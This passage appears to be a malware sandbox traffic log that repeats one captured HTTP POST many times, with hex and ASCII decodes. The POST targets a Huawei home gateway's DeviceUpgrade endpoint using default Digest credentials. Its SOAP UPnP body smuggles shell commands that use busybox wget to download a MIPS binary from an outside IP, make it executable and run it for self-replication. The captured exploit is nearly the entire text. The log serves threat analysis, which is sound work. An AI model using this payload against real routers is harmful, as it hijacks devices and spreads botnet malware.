55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
